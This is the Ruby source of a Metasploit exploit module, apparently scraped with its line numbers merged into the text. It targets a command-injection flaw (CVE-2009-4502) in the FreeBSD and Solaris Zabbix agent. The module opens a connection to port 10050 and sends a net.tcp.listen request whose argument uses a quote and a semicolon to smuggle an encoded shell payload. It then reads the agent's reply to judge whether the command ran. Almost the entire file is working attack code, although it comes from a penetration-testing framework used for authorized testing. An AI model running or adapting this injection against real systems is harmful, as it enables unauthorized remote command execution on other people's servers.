Path: blob/master/modules/exploits/unix/misc/zabbix_agent_exec.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Zabbix Agent net.tcp.listen Command Injection',15'Description' => %q{16This module exploits a metacharacter injection vulnerability17in the FreeBSD and Solaris versions of the Zabbix agent. This flaw18can only be exploited if the attacker can hijack the IP address19of an authorized server (as defined in the configuration file).20},21'Author' => [ 'hdm' ],22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2009-4502' ],25[ 'OSVDB', '60956' ],26[ 'URL', 'https://support.zabbix.com/browse/ZBX-1032'],27],28'Platform' => ['unix'],29'Arch' => ARCH_CMD,30'Privileged' => false,31'Payload' => {32'BadChars' => "'",33'Space' => 1024,34'DisableNops' => true,35'Compat' =>36{37'PayloadType' => 'cmd',38'RequiredCmd' => 'generic perl telnet',39}40},41'Targets' => [42[ 'Automatic Target', {}]43],44'DefaultTarget' => 0,45'DisclosureDate' => '2009-09-10',46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)5354register_options(55[56Opt::RPORT(10050)57]58)59end6061def exploit62connect6364rnd_port = rand(1024) + 165buf = "net.tcp.listen[#{rnd_port}';#{payload.encoded};']\n"6667print_status("Sending net.tcp.listen() request to the zabbix agent...")68sock.put(buf)6970res = nil71begin72res = sock.get_once(-1, 5)73rescue ::EOFError74end7576if !res77print_status("The zabbix agent did not reply, our IP must not be in the allowed server list.")78disconnect79return80end8182if (res =~ /ZBX_NOTSUPPORTED/)83print_status("The zabbix agent is not running a vulnerable version or operating system.")84disconnect85return86end8788if (res !~ /ZBXD/)89print_status("The zabbix agent returned an unknown response.")90disconnect91return92end9394print_status("The zabbix agent should have executed our command.")95disconnect96end97end9899100